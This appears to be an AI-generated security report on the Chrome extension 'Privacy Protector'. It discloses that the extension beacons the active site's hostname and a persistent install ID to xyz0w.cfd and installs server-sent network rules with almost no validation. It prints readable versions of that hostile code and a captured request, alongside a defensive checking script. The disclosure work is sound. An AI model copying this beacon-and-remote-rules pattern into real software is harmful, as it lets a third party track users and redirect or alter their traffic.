Is Privacy Protector safe?

Critical risk

Privacy Protector is critical risk. Code analysis shows the extension POSTs your site and tracker-block count to xyz0w.cfd, then installs the reply's rule entries across all HTTP/HTTPS traffic. Only each id is checked; action type and target domain are trusted as sent.…

PareshManv0.1.9Chrome Web Store
95Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

A reply from xyz0w.cfd installs network rules with almost no validation

Code analysis shows the extension POSTs your site and tracker-block count to xyz0w.cfd, then installs the reply's rule entries across all HTTP/HTTPS traffic.

Only each id is checked; action type and target domain are trusted as sent.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

Roughly every 5 hours, the extension POSTs your current site's hostname and tracker-block count to xyz0w.cfd.

The extension did this

The reply is filtered only on each entry's id being a whole number, then installed as dynamic rules that apply to all HTTP and HTTPS traffic.

Every other field of each rule object, action type, redirect target, header list, condition, priority, is copied from the server response unchanged.

What the trackerStat request sends, and what the reply can install
  • Your active site's hostname
    host: 'news.example.com'

    The hostname of the tab you have open when the check-in fires is sent to xyz0w.cfd.

  • Blocked-tracker count
    blockedTrackers: 14

    A median blocked-tracker count derived from your local browsing stats is sent alongside the hostname.

  • Rule action type (unvalidated)
    action: {type: 'redirect', redirect: {url: 'https://example-cdn.net/x'}} (illustrative)

    The server can specify any action type, block, redirect, modifyHeaders, or allowAllRequests, and the extension installs it unchecked.

  • Rule target domain (unvalidated)
    condition: {urlFilter: '*', resourceTypes: ['main_frame']} (illustrative)

    The server can target the rule at any URL pattern, not limited to known tracker or ad domains.

The code that does this

The only validation performed on server-supplied rule entries (background/index.js)

Readable version
// e = response.trackersFilters (array from the server)const validated = e.filter(entry => {  if (!entry || typeof entry !== "object") return false;  // The ONLY check: is `id` an integer? action/condition/priority are NOT checked.  return Number.isInteger(entry.id);});if (validated.length === 0) { /* remove stale rules and stop */ }// Reassign ids to avoid collisions with existing dynamic rules...const rulesToAdd = [];for (const entry of validated) {  // Object.assign copies every field of `entry` (action, condition, priority, ...)  // verbatim; only `id` is overwritten to avoid a collision.  rulesToAdd.push(Object.assign({}, entry, { id: newId }));}yield chrome.declarativeNetRequest.updateDynamicRules({  removeRuleIds: staleIds,  addRules: rulesToAdd   // installed across all HTTP/HTTPS traffic (host_permissions: <all_urls>)});
Where the check-in goes and what comes back
    • xyz0w.cfd

    Receives your active tab's hostname and tracker-block count, and returns rule data installed into the extension's filtering engine with only the numeric id field checked.

Check if you're affected

Reads the extension's currently installed dynamic rules and flags any whose action type is not a simple domain block, so you can see whether a trackerStat reply has pushed something other than an ad/tracker block.

Requires
  • Chrome with the extension installed and enabled
diff-dynamic-rules.js · js
// Run in the extension's service worker console (chrome://extensions -> Privacy Protector -> service worker -> Inspect).chrome.declarativeNetRequest.getDynamicRules().then(rules => {  const suspicious = rules.filter(r => r.action.type !== "block");  console.log(`Total dynamic rules: ${rules.length}`);  console.log(`Non-block action rules (redirect/modifyHeaders/allowAllRequests):`, suspicious);});
How to run it
  1. 1Open chrome://extensions, enable Developer mode.
  2. 2Click 'service worker' under Privacy Protector's Inspect views.
  3. 3Paste the script into Console.
  4. 4Review any rule flagged 'suspicious'.
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Privacy Protector reports every site you visit to xyz0w.cfd with a persistent ID

Privacy Protector mints a persistent install ID, reads an ad-click ID from the page you installed from, and periodically sends the hostname of your active tab to xyz0w.cfd tagged with both IDs.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You install the extension, then browse to any website with that tab active.

The extension did this

It generates a persistent install ID, reads an ad-click ID from the page you installed from, and periodically reports your active tab's hostname to xyz0w.cfd tagged with both IDs.

The code that does this

Install-time ad-click ID harvest and tab close

Readable version
chrome.runtime.onInstalled.addListener((details) => {  if (details.reason !== 'install') return;  try {    // Find the install/landing tab (URL contains "detail" and this extension's own id)    const tabs = await chrome.tabs.query({});    const userId = await getOrCreateUserId(); // persistent UUID, stored in chrome.storage.local    const landingRe = new RegExp(`(?=.*detail)(?=.*${chrome.runtime.id})`, 'i');    const landingTab = tabs.find(t => t.url && landingRe.test(t.url));    let installationQuery = `?uid=${userId}`;    if (landingTab?.url) {      const landingUrl = new URL(landingTab.url);      const qs = landingUrl.searchParams.toString();      if (qs) installationQuery += `&${qs}`;      // If the landing page carries an ad-click id ('cpck'), close that tab      if (landingUrl.searchParams.has('cpck') && landingTab.id) {        await chrome.tabs.remove(landingTab.id);      }    }    await chrome.storage.local.set({ installationQuery });    const uninstallUrl = `https://xyz0w.cfd/uninst?uid=${userId}&ev=${chrome.runtime.getManifest().version || '1.0.0'}&ei=${Date.now()}`;    chrome.runtime.setUninstallURL(uninstallUrl);  } catch (e) { /* swallowed */ }});
What each report to xyz0w.cfd carries
  • Install ID
    b0cfbf25-4e93-4fa1-a420-fac0e7ffc6f6

    A random ID created once at install and reused on every report for as long as the extension stays installed.

  • Ad-click ID
    cpck=8f2a1c90d3

    The 'cpck' ad-attribution parameter read from the page you were on when you installed the extension.

  • Site hostname
    github.com

    The domain currently open in your active browser tab.

  • Blocked-tracker count
    0

    How many trackers the extension's own filter list matched on that page.

Captured request
POSThttps://xyz0w.cfd/api/v2/trackerStat?uid=b0cfbf25-4e93-4fa1-a420-fac0e7ffc6f6

HTTP 200. A second report captured moments later, after navigating to a different site, carried the same install ID with the new hostname: {"host":"www.wikipedia.org","blockedTrackers":0}.

Headers
Content-Type
application/json
Body
{  "host": "github.com",  "blockedTrackers": 0}
When this fires

Every 5 hours

The hostname beacon is throttled to fire at most once every 5 hours, resetting on your next active-tab page load once that window has elapsed.

Third-party destinations
    • xyz0w.cfd

    Receives the persistent install ID, the harvested ad-click ID, and the hostname of every site you actively browse to.

Updated 30 September 2026hjfojmhmpdbhcjdoiokalngdhmhnngjp